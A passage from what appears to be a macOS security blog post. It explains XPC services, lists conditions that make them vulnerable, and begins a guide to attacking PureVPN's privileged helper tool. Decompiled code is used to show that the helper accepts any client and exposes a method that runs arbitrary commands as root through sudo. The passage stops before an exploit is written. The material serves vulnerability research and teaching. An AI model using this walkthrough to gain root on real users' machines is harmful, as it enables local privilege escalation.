<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">upperCaseString</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">aString</span> <span class="nf">withReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">))</span><span class="nv">reply</span><span class="p">;</span>
<span class="k">@end</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
    <span class="k">@autoreleasepool</span> <span class="p">{</span>
        <span class="n">NSXPCConnection</span> <span class="o">*</span><span class="n">connection</span> <span class="o">=</span> <span class="p">[[</span><span class="n">NSXPCConnection</span> <span class="nf">alloc</span><span class="p">]</span> <span class="nf">initWithServiceName</span><span class="p">:</span><span class="s">@"com.example.service"</span><span class="p">];</span>
        <span class="n">connection</span><span class="p">.</span><span class="n">remoteObjectInterface</span> <span class="o">=</span> <span class="p">[</span><span class="n">NSXPCInterface</span> <span class="nf">interfaceWithProtocol</span><span class="p">:</span><span class="k">@protocol</span><span class="err">(</span><span class="nc">ServiceProtocol</span><span class="p">)];</span>
        <span class="p">[</span><span class="n">connection</span> <span class="nf">resume</span><span class="p">];</span>

        <span class="n">id</span><span class="o">&lt;</span><span class="n">ServiceProtocol</span><span class="o">&gt;</span> <span class="n">proxy</span> <span class="o">=</span> <span class="p">[</span><span class="n">connection</span> <span class="nf">remoteObjectProxyWithErrorHandler</span><span class="p">:</span><span class="o">^</span><span class="p">(</span><span class="n">NSError</span> <span class="o">*</span><span class="n">error</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">NSLog</span><span class="p">(</span><span class="s">@"Remote proxy error: %@"</span><span class="p">,</span> <span class="n">error</span><span class="p">);</span>
        <span class="p">}];</span>

        <span class="p">[</span><span class="n">proxy</span> <span class="nf">upperCaseString</span><span class="p">:</span><span class="s">@"hello, server!"</span> <span class="nf">withReply</span><span class="p">:</span><span class="o">^</span><span class="p">(</span><span class="n">NSString</span> <span class="o">*</span><span class="n">response</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">NSLog</span><span class="p">(</span><span class="s">@"Received response: %@"</span><span class="p">,</span> <span class="n">response</span><span class="p">);</span>
            <span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
        <span class="p">}];</span>

        <span class="p">[[</span><span class="n">NSRunLoop</span> <span class="nf">currentRunLoop</span><span class="p">]</span> <span class="nf">run</span><span class="p">];</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Define the <code class="language-plaintext highlighter-rouge">ServiceProtocol</code> to match the service protocol. Create an <code class="language-plaintext highlighter-rouge">NSXPCConnection</code> with the service name <code class="language-plaintext highlighter-rouge">com.example.service</code>. Then Set the remote object interface using <code class="language-plaintext highlighter-rouge">NSXPCInterface</code> with the <code class="language-plaintext highlighter-rouge">ServiceProtocol</code>. Resume the connection to start communication. After that Get a remote object proxy that conforms to <code class="language-plaintext highlighter-rouge">ServiceProtocol</code> and Call the <code class="language-plaintext highlighter-rouge">upperCaseString:withReply:</code> method on the proxy with a string and a reply block. Start the run loop to keep the client running until the reply is received.</p>

<pre><code class="language-mermaid">sequenceDiagram
    participant Client
    participant NSXPCConnection
    participant NSXPCListener
    participant Service

    Client-&gt;&gt;NSXPCConnection: Create connection to "com.example.service"
    NSXPCConnection-&gt;&gt;NSXPCListener: Establish connection
    Client-&gt;&gt;Service: Send request "hello, server!"
    Service-&gt;&gt;Service: Process the request
    Service--&gt;&gt;Client: Send response "HELLO, SERVER!"
</code></pre>

<h2 id="when-xpc-can-be-vulnerable">When XPC can be vulnerable</h2>

<table>
  <thead>
    <tr>
      <th><strong>Condition</strong></th>
      <th><strong>Description</strong></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Service doesn’t verify at all</td>
      <td>If the service doesn’t perform any verification, it is highly susceptible to exploitation. For example, an XPC service that accepts any connection without checking credentials.</td>
    </tr>
    <tr>
      <td>Client verification process can be subverted allowing custom process connection</td>
      <td>If the verification process for clients connecting to an XPC service is flawed, attackers can bypass it and connect using a custom process. For example, forging client credentials to access the service.</td>
    </tr>
    <tr>
      <td>Code injection against the XPC client</td>
      <td>Exploiting vulnerabilities to inject code into the client of an XPC service can allow attackers to gain unauthorized access or perform malicious actions. For example, injecting malicious code into a client to control its interactions with the XPC service.</td>
    </tr>
    <tr>
      <td>DYLIB attacks against XPC client</td>
      <td>Dynamic Library (DYLIB) attacks involve injecting malicious libraries into the client process to exploit the XPC service. For instance, using DYLD_INSERT_LIBRARIES to load a malicious library.</td>
    </tr>
    <tr>
      <td>com.apple.security.get-task-allow entitlement</td>
      <td>This entitlement allows debuggers to connect, which can be exploited if applied to production binaries, potentially allowing unauthorized access. For example, an attacker can use this to debug and manipulate the service.</td>
    </tr>
    <tr>
      <td>com.apple.security.cs.allow-dyld-environment-variables entitlement set to “true”</td>
      <td>If this entitlement is enabled, it allows dynamic library injection via environment variables, posing a significant security risk. For example, setting environment variables to load a malicious library.</td>
    </tr>
    <tr>
      <td>com.apple.security.cs.disable-library-validation entitlement</td>
      <td>This entitlement permits loading of third-party signed dynamic libraries, which can be exploited to run malicious code. For instance, loading an unsigned malicious library into a service.</td>
    </tr>
    <tr>
      <td>Service does not verify connecting process is signed with Apple-signed certificate</td>
      <td>Ensuring the connecting process has a valid Apple-signed certificate prevents unauthorized access from self-signed or fake certificates. For example, an attacker using a fake certificate to connect.</td>
    </tr>
    <tr>
      <td>Service does not verify team ID of the connecting process</td>
      <td>Verifying the team ID ensures the connecting process belongs to the intended organization, blocking access from unauthorized entities. For example, an attacker using their own developer certificate to connect.</td>
    </tr>
    <tr>
      <td>Service does not verify proper bundle ID</td>
      <td>Checking the bundle ID helps reduce the attack surface by limiting connections to known, trusted applications. For example, an attacker spoofing a trusted application’s bundle ID.</td>
    </tr>
    <tr>
      <td>Service does not verify software version number</td>
      <td>Verifying the software version ensures that only updated, secure clients can connect, reducing risks from older, vulnerable versions. For example, using an outdated vulnerable client to exploit the service.</td>
    </tr>
    <tr>
      <td>Service does not verify code signing properties</td>
      <td>Proper verification of code signing attributes ensures that only legitimate and unaltered applications can connect to the service. For example, connecting with a modified client that bypasses security checks.</td>
    </tr>
    <tr>
      <td>Service does not require specific entitlement for connection (for Apple binaries)</td>
      <td>Requiring specific entitlements for connection adds an additional layer of security, ensuring that only authorized applications can access the service. For example, an attacker bypassing entitlement checks.</td>
    </tr>
    <tr>
      <td>Service uses PID for verification instead of audit token</td>
      <td>Using an audit token instead of a process ID for verification prevents PID reuse attacks, enhancing the security of the service connection process. For example, an attacker reusing a PID to gain access.</td>
    </tr>
  </tbody>
</table>

<h2 id="guide-for-attacking-xpc">Guide for Attacking XPC</h2>

<p>I will be using <code class="language-plaintext highlighter-rouge">PureVpn.app</code> as an example for the guide.</p>
<h3 id="find-mach-services--privileged-tools">Find Mach Services &amp; Privileged Tools</h3>
<p>You can find <code class="language-plaintext highlighter-rouge">XPC</code> related to an App, In 2 places either inside the app under:</p>
<ul>
  <li>/Applications/theapp.app/Contents/XPCServices</li>
  <li>/Applications/theapp.app/Contents/Library
And in the following directories the configuerations:</li>
  <li>/System/Library/LaunchDaemons</li>
  <li>/Library/LaunchDaemons</li>
  <li>/System/Library/LaunchAgents</li>
  <li>/Library/LaunchAgents
Mostly The <code class="language-plaintext highlighter-rouge">HelperTools</code> is under <code class="language-plaintext highlighter-rouge">/Library/PrivilegedHelperTools/</code>.</li>
</ul>

<h4 id="identify-the-services--privileged-tools">Identify the Services &amp; Privileged Tools</h4>

<p>Under <code class="language-plaintext highlighter-rouge">/Library/LaunchDaemons</code>, Wew can see the <code class="language-plaintext highlighter-rouge">LaunchDaemons</code> related to <code class="language-plaintext highlighter-rouge">PureVpn</code>:</p>

<div class="language-zsh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>~ % <span class="nb">ls</span> /Library/LaunchDaemons | <span class="nb">grep </span>pure
com.purevpn.macapp.HelperTool.plist
</code></pre></div></div>

<p>When we look at the <code class="language-plaintext highlighter-rouge">com.purevpn.macapp.HelperTool.plist</code>, We can see the following:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
<span class="cp">&lt;!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"&gt;</span>
<span class="nt">&lt;plist</span> <span class="na">version=</span><span class="s">"1.0"</span><span class="nt">&gt;</span>
<span class="nt">&lt;dict&gt;</span>
	<span class="nt">&lt;key&gt;</span>Debug<span class="nt">&lt;/key&gt;</span>
	<span class="nt">&lt;true/&gt;</span>
	<span class="nt">&lt;key&gt;</span>Label<span class="nt">&lt;/key&gt;</span>
	<span class="nt">&lt;string&gt;</span>com.purevpn.macapp.HelperTool<span class="nt">&lt;/string&gt;</span>
	<span class="nt">&lt;key&gt;</span>MachServices<span class="nt">&lt;/key&gt;</span>
	<span class="nt">&lt;dict&gt;</span>
		<span class="nt">&lt;key&gt;</span>com.purevpn.macapp.HelperTool<span class="nt">&lt;/key&gt;</span>
		<span class="nt">&lt;true/&gt;</span>
	<span class="nt">&lt;/dict&gt;</span>
	<span class="nt">&lt;key&gt;</span>Program<span class="nt">&lt;/key&gt;</span>
	<span class="nt">&lt;string&gt;</span>/Library/PrivilegedHelperTools/com.purevpn.macapp.HelperTool<span class="nt">&lt;/string&gt;</span>
	<span class="nt">&lt;key&gt;</span>ProgramArguments<span class="nt">&lt;/key&gt;</span>
	<span class="nt">&lt;array&gt;</span>
		<span class="nt">&lt;string&gt;</span>/Library/PrivilegedHelperTools/com.purevpn.macapp.HelperTool<span class="nt">&lt;/string&gt;</span>
	<span class="nt">&lt;/array&gt;</span>
	<span class="nt">&lt;key&gt;</span>StandardErrorPath<span class="nt">&lt;/key&gt;</span>
	<span class="nt">&lt;string&gt;</span>/var/log/PureVPNHelperLayer.log<span class="nt">&lt;/string&gt;</span>
	<span class="nt">&lt;key&gt;</span>StandardOutPath<span class="nt">&lt;/key&gt;</span>
	<span class="nt">&lt;string&gt;</span>/var/log/PureVPNHelperLayer.log<span class="nt">&lt;/string&gt;</span>
<span class="nt">&lt;/dict&gt;</span>
<span class="nt">&lt;/plist&gt;</span>
</code></pre></div></div>

<p>We can see 2 things here, <code class="language-plaintext highlighter-rouge">MachServices</code>, Let’s Note it. And the <code class="language-plaintext highlighter-rouge">HelperTool</code> under the following path <code class="language-plaintext highlighter-rouge">/Library/PrivilegedHelperTools/com.purevpn.macapp.HelperTool</code>.</p>

<h3 id="authorization--verification">Authorization &amp; Verification</h3>

<p>Before Connecting to the <code class="language-plaintext highlighter-rouge">HelperTool</code>, There are some authorizations &amp; verifications to be done to make sure of the client who is connecting, We have <code class="language-plaintext highlighter-rouge">EvenBetterAuthorization</code>, You can read about it from <a href="https://theevilbit.github.io/posts/secure_coding_xpc_part1/">here</a> to understand why it’s not enough for securing for verifying the client.</p>

<h3 id="reverse-helpertool">Reverse HelperTool</h3>

<p>The first thing We have to do, When we get to reverse the <code class="language-plaintext highlighter-rouge">HelperTool</code>. Is to check the verifications for connecting to the services:</p>

<pre><code class="language-Obj-c">/* @class HelperTool */
-(char)listener:(void *)arg2 shouldAcceptNewConnection:(void *)arg3 {
    r15 = self;
    rbx = [arg2 retain];
    var_30 = rbx;
    r12 = [arg3 retain];
    rax = [r15 listener];
    rax = [rax retain];
    if (rax == rbx) {
            [rax release];
            if (r12 != 0x0) {
                    rbx = [[NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)] retain];
                    [r12 setExportedInterface:rbx];
                    [rbx release];
                    [r12 setExportedObject:r15];
                    [r12 resume];
                    [r12 release];
                    [var_30 release];
                    rax = 0x1;
            }
            else {
                    rax = __assert_rtn("-[HelperTool listener:shouldAcceptNewConnection:]", "/Users/salmanahmed/Projects/Xcode-Project/Git-Repo/PureVPNMac-Project/PureVPN-Repo/purevpn-mac-app/HelperTool/HelperTool.m", 0x7c, "newConnection != nil");
            }
    }
    else {
            rax = __assert_rtn("-[HelperTool listener:shouldAcceptNewConnection:]", "/Users/salmanahmed/Projects/Xcode-Project/Git-Repo/PureVPNMac-Project/PureVPN-Repo/purevpn-mac-app/HelperTool/HelperTool.m", 0x7a, "listener == self.listener");
    }
    return rax;
}
</code></pre>

<p>We can see here that, Anyone can connect to the <code class="language-plaintext highlighter-rouge">XPC</code> without any verifications. Now, It’s time to check the methods offered by <code class="language-plaintext highlighter-rouge">com.purevpn.macapp.HelperTool</code>. That can be exploited, We will use <a href="http://stevenygard.com/blog/2013/11/16/class-dump-3-dot-5-is-now-available/">class-dump</a>, We got the following results:</p>

<div class="language-objc highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">@protocol</span> <span class="nc">HelperToolProtocol</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">runWithCommand</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg1</span> <span class="nf">withArguments</span><span class="p">:(</span><span class="n">NSArray</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg2</span> <span class="nf">usingSudo</span><span class="p">:(</span><span class="n">BOOL</span><span class="p">)</span><span class="nv">arg3</span> <span class="nf">withReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">BOOL</span><span class="p">))</span><span class="nv">arg4</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">setSecureDNSWithServiceId</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg1</span> <span class="nf">withDNS</span><span class="p">:(</span><span class="n">NSArray</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg2</span> <span class="nf">WithReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">BOOL</span><span class="p">))</span><span class="nv">arg3</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">setMTUInterface</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg1</span> <span class="nf">mtuValue</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg2</span> <span class="nf">WithReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">BOOL</span><span class="p">))</span><span class="nv">arg3</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">disconnectSSTP</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">BOOL</span><span class="p">))</span><span class="nv">arg1</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">executeSudo</span><span class="p">:(</span><span class="n">NSArray</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg1</span> <span class="nf">WithReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="kt">_Bool</span><span class="p">,</span> <span class="n">NSString</span> <span class="o">*</span><span class="p">,</span> <span class="n">NSString</span> <span class="o">*</span><span class="p">))</span><span class="nv">arg2</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">connectSSTP</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg1</span> <span class="nf">withAccount</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg2</span> <span class="nf">andPassword</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg3</span> <span class="nf">Executable</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg4</span> <span class="nf">mtuInterfaceValue</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg5</span> <span class="nf">withReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">BOOL</span><span class="p">))</span><span class="nv">arg6</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">copyIPSECFiles</span><span class="p">:(</span><span class="n">NSArray</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg1</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">copySSTPFiles</span><span class="p">:(</span><span class="n">NSArray</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg1</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">executePreferencesRefInHelperToolWithReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">BOOL</span><span class="p">))</span><span class="nv">arg1</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">executeTestFunctionInHelperToolWithReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">BOOL</span><span class="p">))</span><span class="nv">arg1</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">getVersionsWithReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">))</span><span class="nv">arg1</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">deactivateOnStartupWithReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">BOOL</span><span class="p">))</span><span class="nv">arg1</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">activateOnStartupWithReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">BOOL</span><span class="p">))</span><span class="nv">arg1</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">removeAllRulesWithReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">BOOL</span><span class="p">))</span><span class="nv">arg1</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">setRules</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg1</span> <span class="nf">withReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">BOOL</span><span class="p">))</span><span class="nv">arg2</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">setIpv6Leak</span><span class="p">:(</span><span class="n">BOOL</span><span class="p">)</span><span class="nv">arg1</span> <span class="nf">networkInterfaces</span><span class="p">:(</span><span class="n">NSArray</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg2</span> <span class="nf">withReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">BOOL</span><span class="p">))</span><span class="nv">arg3</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">executeVPNServiceConfigServer</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg1</span> <span class="nf">withAccount</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg2</span> <span class="nf">andPassword</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg3</span> <span class="nf">andShareSecret</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg4</span> <span class="nf">andType</span><span class="p">:(</span><span class="kt">unsigned</span> <span class="kt">long</span> <span class="kt">long</span><span class="p">)</span><span class="nv">arg5</span> <span class="nf">HelperToolWithReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="kt">long</span><span class="p">,</span> <span class="kt">int</span><span class="p">))</span><span class="nv">arg6</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">createXAuthKeyChainItemAuthorization</span><span class="p">:(</span><span class="n">NSData</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg1</span> <span class="nf">lable</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg2</span> <span class="nf">forService</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg3</span> <span class="nf">withPassword</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg4</span> <span class="nf">withReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">NSError</span> <span class="o">*</span><span class="p">))</span><span class="nv">arg5</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">createSharedSecretKeyChainItemAuthorization</span><span class="p">:(</span><span class="n">NSData</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg1</span> <span class="nf">lable</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg2</span> <span class="nf">forService</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg3</span> <span class="nf">withPassword</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg4</span> <span class="nf">withReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">NSError</span> <span class="o">*</span><span class="p">))</span><span class="nv">arg5</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">createPasswordKeyChainItemAuthorization</span><span class="p">:(</span><span class="n">NSData</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg1</span> <span class="nf">lable</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg2</span> <span class="nf">forService</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg3</span> <span class="nf">withAccount</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg4</span> <span class="nf">andPassword</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg5</span> <span class="nf">withReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">NSError</span> <span class="o">*</span><span class="p">))</span><span class="nv">arg6</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">createServicesAuthorization</span><span class="p">:(</span><span class="n">NSData</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg1</span> <span class="nf">configObj</span><span class="p">:(</span><span class="n">NewVPNServiceConfig</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg2</span> <span class="nf">usingPreferencesRef</span><span class="p">:(</span><span class="n">SCPreferencesRef</span><span class="p">)</span><span class="nv">arg3</span> <span class="nf">withReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">NSError</span> <span class="o">*</span><span class="p">))</span><span class="nv">arg4</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">testFunctionAppsAuthorization</span><span class="p">:(</span><span class="n">NSData</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg1</span> <span class="nf">configObj</span><span class="p">:(</span><span class="n">NewVPNServiceConfig</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg2</span> <span class="nf">usingPreferencesRef</span><span class="p">:(</span><span class="n">SCPreferencesRef</span><span class="p">)</span><span class="nv">arg3</span> <span class="nf">withReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">NSError</span> <span class="o">*</span><span class="p">))</span><span class="nv">arg4</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">bindToLowNumberPortAuthorization</span><span class="p">:(</span><span class="n">NSData</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg1</span> <span class="nf">withReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">NSError</span> <span class="o">*</span><span class="p">,</span> <span class="n">NSFileHandle</span> <span class="o">*</span><span class="p">,</span> <span class="n">NSFileHandle</span> <span class="o">*</span><span class="p">))</span><span class="nv">arg2</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">writeLicenseKey</span><span class="p">:(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg1</span> <span class="nf">authorization</span><span class="p">:(</span><span class="n">NSData</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg2</span> <span class="nf">withReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">NSError</span> <span class="o">*</span><span class="p">))</span><span class="nv">arg3</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">readLicenseKeyAuthorization</span><span class="p">:(</span><span class="n">NSData</span> <span class="o">*</span><span class="p">)</span><span class="nv">arg1</span> <span class="nf">withReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">NSError</span> <span class="o">*</span><span class="p">,</span> <span class="n">NSString</span> <span class="o">*</span><span class="p">))</span><span class="nv">arg2</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">getVersionWithReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">))</span><span class="nv">arg1</span><span class="p">;</span>
<span class="k">-</span> <span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="nf">connectWithEndpointReply</span><span class="p">:(</span><span class="kt">void</span> <span class="p">(</span><span class="o">^</span><span class="p">)(</span><span class="n">NSXPCListenerEndpoint</span> <span class="o">*</span><span class="p">))</span><span class="nv">arg1</span><span class="p">;</span>
<span class="k">@end</span>
</code></pre></div></div>

<p>The tool helper offers a lot of methods, But the most interested one is <code class="language-plaintext highlighter-rouge">runWithCommand</code>:</p>

<pre><code class="language-Objc">/* @class HelperTool */
-(void)runWithCommand:(void *)arg2 withArguments:(void *)arg3 usingSudo:(char)arg4 withReply:(void *)arg5 {
    r12 = [arg2 retain];
    r15 = [arg3 retain];
    r13 = [arg5 retain];
    NSLog(@"%s   %@", "-[HelperTool runWithCommand:withArguments:usingSudo:withReply:]", r15);
    rbx = [self runCommand:r12 withArguments:r15 usingSudo:arg4];
    [r15 release];
    [r12 release];
    (*(r13 + 0x10))(arg5, sign_extend_64(rbx));
    [r13 release];
    return;
}
</code></pre>

<p>The function here, Passes the parameters to <code class="language-plaintext highlighter-rouge">rbx = [self runCommand:r12 withArguments:r15 usingSudo:arg4];</code>, When we check <code class="language-plaintext highlighter-rouge">runCommand</code>:</p>

<pre><code class="language-Objc">/* @class HelperTool */
-(char)runCommand:(void *)arg2 withArguments:(void *)arg3 usingSudo:(char)arg4 {
    r12 = arg3;
    r14 = self;
    r15 = [arg2 retain];
    if (arg4 != 0x0) {
            var_38 = r15;
            r13 = [r12 retain];
            rax = [NSArray arrayWithObjects:&amp;var_38 count:0x1];
            rax = [rax retain];
            rbx = [rax arrayByAddingObjectsFromArray:r13];
            r12 = r15;
            r15 = r14;
            [r13 release];
            rbx = [rbx retain];
            rdi = r15;
            r15 = r12;
            r14 = [rdi runCommand:@"/usr/bin/sudo" withArguments:rbx];
            [rbx release];
            [rax release];
    }
    else {
            rbx = [r12 retain];
            r14 = [r14 runCommand:r15 withArguments:rbx];
            [rbx release];
    }
    var_30 = **___stack_chk_guard;
    [r15 release];
    if (**___stack_chk_guard == var_30) {
            rax = sign_extend_64(r14);
    }
    else {
            rax = __stack_chk_fail();
    }
    return rax;
}
</code></pre>

<p>It checks if <code class="language-plaintext highlighter-rouge">arg4</code> is not <code class="language-plaintext highlighter-rouge">0</code>, If it’s true, Then it will execute the command with <code class="language-plaintext highlighter-rouge">sudo</code> (as root):</p>

